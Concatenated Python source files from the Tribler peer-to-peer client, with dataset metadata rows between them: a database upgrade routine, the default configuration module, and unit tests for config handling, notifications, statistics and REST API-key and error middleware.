results = list(dst_con.execute("SELECT rowid, last_check, alive, failures FROM TrackerState WHERE url=?", (url, )))
if results:
tracker_id, n_last_check, n_alive, n_failures = results[0]
s_last_check = max(n_last_check, last_check)
s_alive = alive if last_check > n_last_check else n_alive
s_failures = int(failures) + int(n_failures)
dst_con.execute(
"UPDATE TrackerState SET last_check=?, alive=?, failures=? WHERE rowid=?",
(s_last_check, s_alive, s_failures, tracker_id))
else:
dst_con.execute(
"INSERT INTO TrackerState VALUES ((SELECT COALESCE(MAX(rowid),0)+1 FROM TrackerState), "
"?, ?, ?, ?)",
(url, last_check, alive, failures))
dst_con.execute("COMMIT")
except sqlite3.DatabaseError as e:
dst_con.execute("ROLLBACK")
logging.exception(e)
dst_con.commit()
dst_con.close()
def _inject_TorrentState_TrackerState(abs_src_db: str, abs_dst_db: str) -> None:
"""
Import old TorrentState_TrackerState entries.
"""
src_con = sqlite3.connect(abs_src_db)
output = list(src_con.execute("""SELECT TorrentState.infohash, TrackerState.url
FROM TorrentState_TrackerState
INNER JOIN TorrentState ON TorrentState_TrackerState.torrentstate=TorrentState.rowid
INNER JOIN TrackerState ON TorrentState_TrackerState.trackerstate=TrackerState.rowid
;"""))
src_con.close()
dst_con = sqlite3.connect(abs_dst_db)
with db_session:
for (infohash, url) in output:
dst_con.execute("BEGIN")
try:
results = list(dst_con.execute("""SELECT TorrentState.infohash, TrackerState.url
FROM TorrentState_TrackerState
INNER JOIN TorrentState ON TorrentState_TrackerState.torrentstate=TorrentState.rowid
INNER JOIN TrackerState ON TorrentState_TrackerState.trackerstate=TrackerState.rowid
WHERE TorrentState.infohash=? AND TrackerState.url=?
;""", (infohash, url)))
if not results:
# Note: both the tracker and torrent state should've been imported already
torrent_state, = list(dst_con.execute("SELECT rowid FROM TorrentState WHERE infohash=?",
(infohash,)))[0]
tracker_state, = list(dst_con.execute("SELECT rowid FROM TrackerState WHERE url=?",
(url,)))[0]
dst_con.execute("INSERT INTO TorrentState_TrackerState VALUES (?, ?)",
(torrent_state, tracker_state))
dst_con.execute("COMMIT")
except sqlite3.DatabaseError as e:
dst_con.execute("ROLLBACK")
logging.exception(e)
dst_con.commit()
dst_con.close()
def _inject_7_14_tables(src_db: str, dst_db: str, db_format: str) -> None:
"""
Fetch data from the old database and attempt to insert it into a new one.
"""
# If the src does not exist, there is nothing to copy.
if not os.path.exists(src_db):
return
# If the dst does not exist, simply copy the src over.
if not os.path.exists(dst_db):
shutil.copy(src_db, dst_db)
return
# If they both exist, we have to inject data.
assert db_format in ["tribler.db", "metadata.db"]
abs_src_db = os.path.abspath(src_db)
abs_dst_db = os.path.abspath(dst_db)
if db_format == "tribler.db":
_inject_StatementOp(abs_src_db, abs_dst_db)
else:
_inject_ChannelNode(abs_src_db, abs_dst_db)
_inject_TrackerState(abs_src_db, abs_dst_db)
_inject_TorrentState_TrackerState(abs_src_db, abs_dst_db)
def upgrade(config: TriblerConfigManager, source: str, destination: str) -> None:
"""
Perform the upgrade from the previous version to the next version.
When complete, write a ".upgraded" file to the destination path.
The files in ``source`` should be expected to be in the FROM format.
The files in ``destination`` should be expected to be in the TO format.
Make sure to deal with corruption and/or missing files!
"""
# Step 1: import settings
os.makedirs(destination, exist_ok=True)
if os.path.exists(os.path.join(source, "triblerd.conf")):
_import_7_14_settings(os.path.join(source, "triblerd.conf"), config)
config.write()
# Step 2: copy downloads
os.makedirs(os.path.join(destination, "dlcheckpoints"), exist_ok=True)
for checkpoint in os.listdir(os.path.join(source, "dlcheckpoints")):
_copy_if_not_exist(os.path.join(source, "dlcheckpoints", checkpoint),
os.path.join(destination, "dlcheckpoints", checkpoint))
# Step 3: Copy tribler db.
os.makedirs(os.path.join(destination, "sqlite"), exist_ok=True)
_inject_7_14_tables(os.path.join(source, "sqlite", "tribler.db"),
os.path.join(destination, "sqlite", "tribler.db"),
"tribler.db")
# Step 4: Copy metadata db.
_inject_7_14_tables(os.path.join(source, "sqlite", "metadata.db"),
os.path.join(destination, "sqlite", "metadata.db"),
"metadata.db")
# Step 5: Signal that our upgrade is done.
with open(os.path.join(config.get_version_state_dir(), ".upgraded"), "a"):
pass
| 17,688 | Python | .py | 325 | 42.766154 | 131 | 0.609991 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,894 | tribler_config.py | Tribler_tribler/src/tribler/tribler_config.py | from __future__ import annotations
import json
import logging
import os
from importlib.metadata import PackageNotFoundError, version
from json import JSONDecodeError
from pathlib import Path
from typing import TypedDict
from ipv8.configuration import default as ipv8_default_config
from tribler.upgrade_script import TO
logger = logging.getLogger(__name__)
class ApiConfig(TypedDict):
"""
Settings for the API key component.
"""
key: str
http_enabled: bool
http_port: int
http_host: str
https_enabled: bool
https_host: str
https_port: int
http_port_running: int
https_port_running: int
class ContentDiscoveryCommunityConfig(TypedDict):
"""
Settings for the content discovery component.
"""
enabled: bool
class DHTDiscoveryCommunityConfig(TypedDict):
"""
Settings for the DHT discovery component.
"""
enabled: bool
class KnowledgeCommunityConfig(TypedDict):
"""
Settings for the knowledge component.
"""
enabled: bool
class DatabaseConfig(TypedDict):
"""
Settings for the database component.
"""
enabled: bool
class VersioningConfig(TypedDict):
"""
Settings for the versioning component.
"""
enabled: bool
class DownloadDefaultsConfig(TypedDict):
"""
Settings for default downloads, used by libtorrent.
"""
anonymity_enabled: bool
number_hops: int
safeseeding_enabled: bool
saveas: str
seeding_mode: str
seeding_ratio: float
seeding_time: float
channel_download: bool
add_download_to_channel: bool
class LibtorrentConfig(TypedDict):
"""
Settings for the libtorrent component.
"""
socks_listen_ports: list[int]
port: int
proxy_type: int
proxy_server: str
proxy_auth: str
max_connections_download: int
max_download_rate: int
max_upload_rate: int
utp: bool
dht: bool
dht_readiness_timeout: int
upnp: bool
natpmp: bool
lsd: bool
download_defaults: DownloadDefaultsConfig
class RecommenderConfig(TypedDict):
"""
Settings for the user recommender component.
"""
enabled: bool
class RendezvousConfig(TypedDict):
"""
Settings for the rendezvous component.
"""
enabled: bool
class TorrentCheckerConfig(TypedDict):
"""
Settings for the torrent checker component.
"""
enabled: bool
class TunnelCommunityConfig(TypedDict):
"""
Settings for the tunnel community component.
"""
enabled: bool
min_circuits: int
max_circuits: int
class TriblerConfig(TypedDict):
"""
The main Tribler settings and all of its components' sub-settings.
"""
api: ApiConfig
ipv8: dict
statistics: bool
content_discovery_community: ContentDiscoveryCommunityConfig
database: DatabaseConfig
knowledge_community: KnowledgeCommunityConfig
libtorrent: LibtorrentConfig
recommender: RecommenderConfig
rendezvous: RendezvousConfig
torrent_checker: TorrentCheckerConfig
tunnel_community: TunnelCommunityConfig
versioning: VersioningConfig
state_dir: str
memory_db: bool
DEFAULT_CONFIG = {
"api": {
"http_enabled": True,
"http_port": 0,
"http_host": "127.0.0.1",
"https_enabled": False,
"https_host": "127.0.0.1",
"https_port": 0,
"https_certfile": "https_certfile",
# Ports currently in-use. Used by run_tribler.py to detect duplicate sessions.
"http_port_running": 0,
"https_port_running": 0,
},
"ipv8": ipv8_default_config,
"statistics": False,
"content_discovery_community": ContentDiscoveryCommunityConfig(enabled=True),
"database": DatabaseConfig(enabled=True),
"dht_discovery": DHTDiscoveryCommunityConfig(enabled=True),
"knowledge_community": KnowledgeCommunityConfig(enabled=True),
"libtorrent": LibtorrentConfig(
socks_listen_ports=[0, 0, 0, 0, 0],
port=0,
proxy_type=0,
proxy_server="",
proxy_auth="",
max_connections_download=-1,
max_download_rate=0,
max_upload_rate=0,
utp=True,
dht=True,
dht_readiness_timeout=30,
upnp=True,
natpmp=True,
lsd=True,
download_defaults=DownloadDefaultsConfig(
anonymity_enabled=True,
number_hops=1,
safeseeding_enabled=True,
saveas=str(Path("~/Downloads").expanduser()),
seeding_mode="forever",
seeding_ratio=2.0,
seeding_time=60,
channel_download=False,
add_download_to_channel=False)
),
"recommender": RecommenderConfig(enabled=True),
"rendezvous": RendezvousConfig(enabled=True),
"torrent_checker": TorrentCheckerConfig(enabled=True),
"tunnel_community": TunnelCommunityConfig(enabled=True, min_circuits=3, max_circuits=8),
"versioning": VersioningConfig(enabled=True),
"state_dir": str((Path(os.environ.get("APPDATA", "~")) / ".Tribler").expanduser().absolute()),
"memory_db": False
}
# Changes to IPv8 default config
DEFAULT_CONFIG["ipv8"]["interfaces"].append({
"interface": "UDPIPv6",
"ip": "::",
"port": 8091
})
DEFAULT_CONFIG["ipv8"]["keys"].append({
'alias': "secondary",
'generation': "curve25519",
'file': "secondary_key.pem"
})
DEFAULT_CONFIG["ipv8"]["overlays"] = [overlay for overlay in DEFAULT_CONFIG["ipv8"]["overlays"]
if overlay["class"] == "DiscoveryCommunity"]
DEFAULT_CONFIG["ipv8"]["working_directory"] = DEFAULT_CONFIG["state_dir"]
for key_entry in DEFAULT_CONFIG["ipv8"]["keys"]:
if "file" in key_entry:
key_entry["file"] = str(Path(DEFAULT_CONFIG["state_dir"]) / key_entry["file"])
try:
version("tribler")
VERSION_SUBDIR = TO # We use the latest known version's directory NOT our own version
except PackageNotFoundError:
VERSION_SUBDIR = "git"
class TriblerConfigManager:
"""
A class that interacts with a JSON configuration file.
"""
def __init__(self, config_file: Path = Path("configuration.json")) -> None:
"""
Load a config from a file.
"""
super().__init__()
self.config_file = config_file
logger.info("Load: %s.", self.config_file)
self.configuration = {}
if config_file.exists():
try:
with open(self.config_file) as f:
self.configuration = json.load(f)
except JSONDecodeError:
logger.exception("Failed to load stored configuration. Falling back to defaults!")
if not self.configuration:
self.configuration = DEFAULT_CONFIG
def write(self) -> None:
"""
Write the configuration to disk.
"""
with open(self.config_file, "w") as f:
json.dump(self.configuration, f, indent=4)
def get(self, option: os.PathLike | str) -> dict | list | str | float | bool | None:
"""
Get a config option based on the path-like descriptor.
"""
out = self.configuration
for part in Path(option).parts:
if part in out:
out = out.get(part)
else:
# Fetch from defaults instead.
out = DEFAULT_CONFIG
for df_part in Path(option).parts:
out = out.get(df_part)
break
return out
def get_version_state_dir(self) -> str:
"""
Get the state dir for our current version.
"""
return os.path.join(self.get("state_dir"), VERSION_SUBDIR)
def set(self, option: os.PathLike | str, value: dict | list | str | float | bool | None) -> None:
"""
Set a config option value based on the path-like descriptor.
"""
current = self.configuration
for part in Path(option).parts[:-1]:
current = current[part]
current[Path(option).parts[-1]] = value
| 8,038 | Python | .py | 250 | 25.488 | 101 | 0.647554 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,895 | test_tribler_config.py | Tribler_tribler/src/tribler/test_unit/test_tribler_config.py | from ipv8.test.base import TestBase
from tribler.tribler_config import DEFAULT_CONFIG, TriblerConfigManager
class TestTriblerConfigManager(TestBase):
"""
Tests for the TriblerConfigManager.
"""
def test_get_default_fallback(self) -> None:
"""
Test if ``get`` falls back to the default config values.
"""
config = TriblerConfigManager()
self.assertEqual(60, config.get("libtorrent/download_defaults/seeding_time"))
def test_get_default_fallback_half_tree(self) -> None:
"""
Test if ``get`` falls back to the default config values, when part of the path exists.
"""
config = TriblerConfigManager()
config.set("libtorrent/port", 42)
self.assertEqual(60, config.get("libtorrent/download_defaults/seeding_time"))
def test_get_directory(self) -> None:
"""
Test if ``get`` of a directory returns the entire dict.
"""
config = TriblerConfigManager()
self.assertEqual(DEFAULT_CONFIG["api"], config.get("api"))
def test_get_set_explicit(self) -> None:
"""
Test if ``get`` can retrieve explicitly set config values.
"""
config = TriblerConfigManager()
config.set("libtorrent/download_defaults/seeding_time", 42)
self.assertEqual(42, config.get("libtorrent/download_defaults/seeding_time"))
| 1,394 | Python | .py | 32 | 35.84375 | 94 | 0.660992 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,896 | base_restapi.py | Tribler_tribler/src/tribler/test_unit/base_restapi.py | from __future__ import annotations
import asyncio
from asyncio import StreamReader, get_running_loop
from io import BytesIO
from json import loads
from typing import TYPE_CHECKING, Any
from aiohttp import HttpVersion
from aiohttp.abc import AbstractStreamWriter
from aiohttp.http_parser import RawRequestMessage
from aiohttp.web_request import Request
from multidict import CIMultiDict, CIMultiDictProxy, MultiDict, MultiDictProxy
from yarl import URL
if TYPE_CHECKING:
from tribler.core.restapi.rest_endpoint import RESTResponse
class BodyCapture(BytesIO, AbstractStreamWriter):
"""
Helper-class to capture RESTResponse bodies.
"""
async def write(self, value: bytes) -> None:
"""
Write to our Bytes stream.
"""
BytesIO.write(self, value)
class MockRequest(Request):
"""
Base class for mocked REST requests.
"""
class Transport:
"""
A fake transport that does nothing.
"""
def __init__(self) -> None:
"""
Create a new fake Transport.
"""
super().__init__()
self.closing = False
def get_extra_info(self, _: str) -> None:
"""
Get extra info, which is always None.
"""
return
def is_closing(self) -> bool:
"""
Get the closing state.
"""
return self.closing
def __init__(self, query: dict, method: str = "GET", path: str = "",
payload_writer: AbstractStreamWriter | None = None) -> None:
"""
Create a new MockRequest, just like if it were returned from aiohttp.
"""
message = RawRequestMessage(method, path, HttpVersion(1, 0), CIMultiDictProxy(CIMultiDict({})),
((b'', b''),), True, None, False, False, URL(path))
self._transport = MockRequest.Transport()
super().__init__(message=message, payload=StreamReader(), protocol=self,
payload_writer=payload_writer, task=None, loop=get_running_loop())
self._query = query
@property
def query(self) -> MultiDictProxy[str]:
"""
Overwrite the query with the query passed in our constructor.
"""
return MultiDictProxy(MultiDict(self._query))
@property
def transport(self) -> asyncio.Transport | None:
"""
Overwrite the transport with our fake transport.
"""
return self._transport
async def response_to_bytes(response: RESTResponse) -> bytes:
"""
Get the bytes of a RESTResponse's body.
"""
capture = BodyCapture()
if isinstance(response.body, bytes):
return response.body
await response.body.write(capture)
return capture.getvalue()
async def response_to_json(response: RESTResponse) -> Any: # noqa: ANN401
"""
Get the JSON dict of a RESTResponse's body.
"""
return loads(await response_to_bytes(response))
| 3,007 | Python | .py | 84 | 28.119048 | 103 | 0.628444 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,897 | test_notifier.py | Tribler_tribler/src/tribler/test_unit/core/test_notifier.py | from unittest.mock import Mock, call
from ipv8.test.base import TestBase
from tribler.core.notifier import Notification, Notifier
class TestNotifier(TestBase):
"""
Tests for the Notifier class.
"""
def setUp(self) -> None:
"""
Create a new notifier.
"""
super().setUp()
self.notifier = Notifier()
def test_add_observer(self) -> None:
"""
Test if an observer can be added and if it gets notified.
"""
callback = Mock()
self.notifier.add(Notification.tribler_new_version, callback)
self.notifier.notify(Notification.tribler_new_version, version="test")
self.assertEqual(call(version="test"), callback.call_args)
def test_add_delegate(self) -> None:
"""
Test if a delegate can be added and if it gets notified.
"""
callback = Mock()
self.notifier.delegates.add(callback)
self.notifier.notify(Notification.tribler_new_version, version="test")
self.assertEqual(call(Notification.tribler_new_version, version="test"), callback.call_args)
def test_notify_too_many_args(self) -> None:
"""
Test if notifying with too many args raises a ValueError.
"""
def callback(version: str) -> None:
pass
self.notifier.add(Notification.tribler_new_version, callback)
with self.assertRaises(ValueError):
self.notifier.notify(Notification.tribler_new_version, version="test", other="test2")
def test_notify_too_little_args(self) -> None:
"""
Test if notifying with too little args raises a ValueError.
"""
def callback(version: str) -> None:
pass
self.notifier.add(Notification.tribler_new_version, callback)
with self.assertRaises(ValueError):
self.notifier.notify(Notification.tribler_new_version)
def test_observer_too_many_args(self) -> None:
"""
Test if observing with too many args raises a TypeError.
"""
def callback(version: str, other: str) -> None:
pass
self.notifier.add(Notification.tribler_new_version, callback)
with self.assertRaises(TypeError):
self.notifier.notify(Notification.tribler_new_version, version="test")
def test_observer_too_little_args(self) -> None:
"""
Test if observing with too little args raises a TypeError.
"""
def callback() -> None:
pass
self.notifier.add(Notification.tribler_new_version, callback)
with self.assertRaises(TypeError):
self.notifier.notify(Notification.tribler_new_version, version="test")
| 2,726 | Python | .py | 65 | 33.2 | 100 | 0.646323 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,898 | test_statistics_endpoint.py | Tribler_tribler/src/tribler/test_unit/core/restapi/test_statistics_endpoint.py | from unittest.mock import Mock
from ipv8.test.base import TestBase
from tribler.core.restapi.statistics_endpoint import StatisticsEndpoint
from tribler.test_unit.base_restapi import MockRequest, response_to_json
class TriblerStatsRequest(MockRequest):
"""
A MockRequest that mimics TriblerStatsRequests.
"""
def __init__(self) -> None:
"""
Create a new TriblerStatsRequest.
"""
super().__init__({}, "GET", "/statistics/tribler")
class IPv8StatsRequest(MockRequest):
"""
A MockRequest that mimics IPv8StatsRequests.
"""
def __init__(self) -> None:
"""
Create a new IPv8StatsRequest.
"""
super().__init__({}, "GET", "/statistics/ipv8")
class TestStatisticsEndpoint(TestBase):
"""
Tests for the StatisticsEndpoint class.
"""
async def test_get_tribler_stats_no_mds(self) -> None:
"""
Test if getting Tribler stats without a MetadataStore gives empty Tribler statistics.
"""
endpoint = StatisticsEndpoint()
response = endpoint.get_tribler_stats(TriblerStatsRequest())
response_body_json = await response_to_json(response)
self.assertEqual({}, response_body_json["tribler_statistics"])
async def test_get_tribler_stats_with_mds(self) -> None:
"""
Test if getting Tribler stats forwards MetadataStore statistics.
"""
endpoint = StatisticsEndpoint()
endpoint.mds = Mock(get_db_file_size=Mock(return_value=42), get_num_torrents=Mock(return_value=7))
response = endpoint.get_tribler_stats(TriblerStatsRequest())
response_body_json = await response_to_json(response)
self.assertEqual(42, response_body_json["tribler_statistics"]["db_size"])
self.assertEqual(7, response_body_json["tribler_statistics"]["num_torrents"])
async def test_get_ipv8_stats_no_ipv8(self) -> None:
"""
Test if getting IPv8 stats without IPv8 gives empty IPv8 statistics.
"""
endpoint = StatisticsEndpoint()
response = endpoint.get_ipv8_stats(IPv8StatsRequest())
response_body_json = await response_to_json(response)
self.assertEqual({}, response_body_json["ipv8_statistics"])
async def test_get_ipv8_stats_with_ipv8(self) -> None:
"""
Test if getting IPv8 stats forwards the known IPv8 endpoint statistics.
"""
endpoint = StatisticsEndpoint()
endpoint.ipv8 = Mock(endpoint=Mock(bytes_up=7, bytes_down=42))
response = endpoint.get_ipv8_stats(IPv8StatsRequest())
response_body_json = await response_to_json(response)
self.assertEqual(42, response_body_json["ipv8_statistics"]["total_down"])
self.assertEqual(7, response_body_json["ipv8_statistics"]["total_up"])
| 2,826 | Python | .py | 62 | 38.096774 | 106 | 0.673961 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,899 | test_rest_manager.py | Tribler_tribler/src/tribler/test_unit/core/restapi/test_rest_manager.py | from __future__ import annotations
from http.cookies import BaseCookie
from typing import TYPE_CHECKING
from aiohttp import hdrs, web
from aiohttp.web_exceptions import HTTPNotFound, HTTPRequestEntityTooLarge
from ipv8.test.base import TestBase
from tribler.core.restapi.rest_endpoint import (
HTTP_INTERNAL_SERVER_ERROR,
HTTP_NOT_FOUND,
HTTP_REQUEST_ENTITY_TOO_LARGE,
HTTP_UNAUTHORIZED,
RESTEndpoint,
RESTResponse,
)
from tribler.core.restapi.rest_manager import ApiKeyMiddleware, RESTManager, error_middleware
from tribler.test_unit.base_restapi import MockRequest, response_to_json
from tribler.tribler_config import TriblerConfigManager
if TYPE_CHECKING:
from typing_extensions import Self
class GenericRequest(MockRequest):
"""
Some generic request.
"""
def __init__(self, path: str = "", query: dict | None = None, headers: dict | None = None,
cookies: dict | None = None) -> None:
"""
Create a new GenericRequest.
"""
super().__init__(query or {}, path=path)
self._headers = headers or {}
if cookies is not None:
self._headers[hdrs.COOKIE] = BaseCookie(cookies)
@classmethod
async def generic_handler(cls: type[Self], _: GenericRequest) -> RESTResponse:
"""
Pass this request.
"""
return RESTResponse({"passed": True})
class MockTriblerConfigManager(TriblerConfigManager):
"""
A memory-based TriblerConfigManager.
"""
def write(self) -> None:
"""
Don't actually write to any file.
"""
class TestRESTManager(TestBase):
"""
Tests for the RESTManager and its middleware.
"""
async def test_key_middleware_invalid(self) -> None:
"""
Test if the api key middleware blocks invalid keys.
"""
middleware = ApiKeyMiddleware("123")
response = await middleware(GenericRequest(), GenericRequest.generic_handler)
response_body_json = await response_to_json(response)
self.assertEqual(HTTP_UNAUTHORIZED, response.status)
self.assertEqual("Unauthorized access", response_body_json["error"])
async def test_key_middleware_valid_unprotected(self) -> None:
"""
Test if the api key middleware allow unprotected paths even with invalid keys.
"""
middleware = ApiKeyMiddleware("123")
response = await middleware(GenericRequest(path="/docs"), GenericRequest.generic_handler)
response_body_json = await response_to_json(response)
self.assertTrue(response_body_json["passed"])
async def test_key_middleware_valid_query(self) -> None:
"""
Test if the api key middleware allows keys passed in the query.
"""
middleware = ApiKeyMiddleware("123")
response = await middleware(GenericRequest(query={"key": "123"}), GenericRequest.generic_handler)
response_body_json = await response_to_json(response)
self.assertTrue(response_body_json["passed"])
async def test_key_middleware_valid_header(self) -> None:
"""
Test if the api key middleware allows keys passed in the header.
"""
middleware = ApiKeyMiddleware("123")
request = GenericRequest(headers={"X-Api-Key": "123"})
response = await middleware(request, GenericRequest.generic_handler)
response_body_json = await response_to_json(response)
self.assertTrue(response_body_json["passed"])
async def test_key_middleware_valid_cookie(self) -> None:
"""
Test if the api key middleware allows keys passed in a cookie.
"""
middleware = ApiKeyMiddleware("123")
request = GenericRequest(cookies={"api_key": "123"})
response = await middleware(request, GenericRequest.generic_handler)
response_body_json = await response_to_json(response)
self.assertTrue(response_body_json["passed"])
async def test_error_middleware_reset_error(self) -> None:
"""
Test if ConnectionResetErrors are not caught.
"""
async def handler(_: web.Request) -> None:
raise ConnectionResetError
with self.assertRaises(ConnectionResetError):
await error_middleware(GenericRequest(), handler)
async def test_error_middleware_not_found(self) -> None:
"""
Test if HTTPNotFound exceptions are formatted as an error message.
"""
async def handler(_: web.Request) -> None:
raise HTTPNotFound
response = await error_middleware(GenericRequest(path="some path"), handler)
response_body_json = await response_to_json(response)
self.assertEqual(HTTP_NOT_FOUND, response.status)
self.assertTrue(response_body_json["error"]["handled"])
self.assertEqual("Could not find some path", response_body_json["error"]["message"])
async def test_error_middleware_too_large(self) -> None:
"""
Test if HTTPRequestEntityTooLarge exceptions are formatted as an error message.
"""
async def handler(_: web.Request) -> None:
raise HTTPRequestEntityTooLarge(actual_size=42, max_size=7)
response = await error_middleware(GenericRequest(path="some path"), handler)
response_body_json = await response_to_json(response)
self.assertEqual(HTTP_REQUEST_ENTITY_TOO_LARGE, response.status)
self.assertTrue(response_body_json["error"]["handled"])
self.assertEqual("Maximum request body size 7 exceeded, actual body size 42",
response_body_json["error"]["message"])
async def test_error_middleware_other(self) -> None:
"""
Test if all other exceptions (see above) are formatted as an error message.
"""
async def handler(_: web.Request) -> None:
message = "some message"
raise ValueError(message)
response = await error_middleware(GenericRequest(path="some path"), handler)
response_body_json = await response_to_json(response)
self.assertEqual(HTTP_INTERNAL_SERVER_ERROR, response.status)
self.assertFalse(response_body_json["error"]["handled"])
self.assertEqual("ValueError", response_body_json["error"]["code"])
self.assertTrue(response_body_json["error"]["message"].startswith("Traceback (most recent call last):"))
def test_add_endpoint(self) -> None:
"""
Test if endpoints can be added to the RESTManager and retrieved again.
"""
manager = RESTManager(MockTriblerConfigManager())
endpoint = RESTEndpoint()
endpoint.path = "/test"
manager.add_endpoint(endpoint)
self.assertEqual(endpoint, manager.get_endpoint("/test"))
| 6,800 | Python | .py | 146 | 38.561644 | 112 | 0.672565 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |